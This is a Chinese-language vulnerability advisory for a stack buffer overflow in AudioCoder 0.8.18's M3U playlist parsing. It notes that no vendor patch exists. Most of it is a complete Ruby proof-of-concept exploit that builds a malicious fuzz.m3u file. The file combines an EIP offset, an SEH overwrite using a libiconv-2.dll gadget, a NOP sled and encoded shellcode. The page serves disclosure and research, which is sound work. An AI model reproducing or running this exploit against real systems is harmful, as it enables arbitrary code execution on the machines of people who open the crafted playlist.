AudioCoder '.m3u'文件缓冲区溢出漏洞

AudioCoder '.m3u'文件缓冲区溢出漏洞

发布日期：2013-05-01
更新日期：2013-05-04

受影响系统：
MediaCoder AudioCoder
描述：
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BUGTRAQ  ID: 59606
 
AudioCoder是一个基于MediaCoder核心开发高性能音频转换工具。
 
AudioCoder 0.8.18在处理播放列表文件时存在边界错误，通过特制的M3U文件，利用此漏洞可造成栈缓冲区溢出，导致任意代码执行。
 
<*来源：metacom
 
  链接：http://www.securelist.com/en/advisories/53256
 *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
metacom （）提供了如下测试方法：
 #!/usr/bin/env ruby
 # Exploit Title:AudioCoder 0.8.18 Buffer Overflow Exploit (SEH)
 # Download link
:http://www.mediacoderhq.com/getfile.htm?site=dl.mediacoderhq.com&file=AudioCoder-0.8.18.exe
 # Vulnerable Product:AudioCoder
 # Date (found): 30.04.2013
 # Date (publish): 01.05.2013
 # RST
 # Author: metacom
 # Version: version 0.8.18
 # Category: poc
 # Tested on: windows 7 German 
 
begin
 shellcode =
 "\x89\xe0\xdb\xc8\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49" +
 "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" +
 "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" +
 "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" +
 "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" +
 "\x58\x4d\x59\x53\x30\x55\x50\x53\x30\x43\x50\x4d\x59\x5a" +
 "\x45\x56\x51\x58\x52\x52\x44\x4c\x4b\x50\x52\x56\x50\x4c" +
 "\x4b\x50\x52\x54\x4c\x4c\x4b\x31\x42\x45\x44\x4c\x4b\x34" +
 "\x32\x31\x38\x44\x4f\x4f\x47\x51\x5a\x37\x56\x30\x31\x4b" +
 "\x4f\x50\x31\x49\x50\x4e\x4c\x57\x4c\x35\x31\x33\x4c\x53" +
 "\x32\x56\x4c\x37\x50\x49\x51\x38\x4f\x54\x4d\x35\x51\x49" +
 "\x57\x4d\x32\x5a\x50\x36\x32\x36\x37\x4c\x4b\x46\x32\x54" +
 "\x50\x4c\x4b\x47\x32\x37\x4c\x53\x31\x4e\x30\x4c\x4b\x47" +
 "\x30\x54\x38\x4b\x35\x49\x50\x42\x54\x51\x5a\x35\x51\x4e" +
 "\x30\x50\x50\x4c\x4b\x57\x38\x55\x48\x4c\x4b\x36\x38\x31" +
 "\x30\x45\x51\x59\x43\x4b\x53\x57\x4c\x30\x49\x4c\x4b\x30" +
 "\x34\x4c\x4b\x55\x51\x4e\x36\x30\x31\x4b\x4f\x50\x31\x49" +
 "\x50\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x43\x31\x49\x57\x46" +
 "\x58\x4b\x50\x42\x55\x5a\x54\x43\x33\x43\x4d\x5a\x58\x37" +
 "\x4b\x33\x4d\x57\x54\x53\x45\x4a\x42\x30\x58\x4c\x4b\x56" +
 "\x38\x36\x44\x43\x31\x48\x53\x35\x36\x4c\x4b\x54\x4c\x30" +
 "\x4b\x4c\x4b\x56\x38\x45\x4c\x53\x31\x39\x43\x4c\x4b\x54" +
 "\x44\x4c\x4b\x35\x51\x4e\x30\x4b\x39\x51\x54\x31\x34\x37" +
 "\x54\x51\x4b\x51\x4b\x55\x31\x30\x59\x30\x5a\x46\x31\x4b" +
 "\x4f\x4d\x30\x31\x48\x51\x4f\x50\x5a\x4c\x4b\x42\x32\x4a" +
 "\x4b\x4b\x36\x51\x4d\x52\x4a\x43\x31\x4c\x4d\x4c\x45\x48" +
 "\x39\x55\x50\x55\x50\x53\x30\x50\x50\x43\x58\x36\x51\x4c" +
 "\x4b\x32\x4f\x4d\x57\x4b\x4f\x39\x45\x4f\x4b\x4c\x30\x48" +
 "\x35\x39\x32\x56\x36\x53\x58\x59\x36\x5a\x35\x4f\x4d\x4d" +
 "\x4d\x4b\x4f\x38\x55\x57\x4c\x35\x56\x33\x4c\x44\x4a\x4b" +
 "\x30\x4b\x4b\x4d\x30\x33\x45\x54\x45\x4f\x4b\x50\x47\x42" +
 "\x33\x33\x42\x42\x4f\x42\x4a\x43\x30\x31\x43\x4b\x4f\x59" +
 "\x45\x32\x43\x43\x51\x42\x4c\x33\x53\x36\x4e\x43\x55\x43" +
 "\x48\x55\x35\x43\x30\x41\x41"

 file = "fuzz.m3u"
 head = "http://"
 junk = "\x90" * 765 # Distance to overwrite EIP
 nseh = "\xEB\x06\x90\x90" # Short (6 bytes) jump!
 seh  = "\xEE\x04\x01\x66" # POP ECX / POP ECX / RETN from
libiconv-2.dll
 nops = "\x90" * 80
 textfile = open(file , 'w')
 textfile.write(head + junk + nseh + seh + nops + shellcode)
 textfile.close()
 
puts
 puts " Vulnerable file created!...\n"
 
end

建议：
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厂商补丁：
 
MediaCoder
 ----------
 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
 
http://mediacoder.com.cn/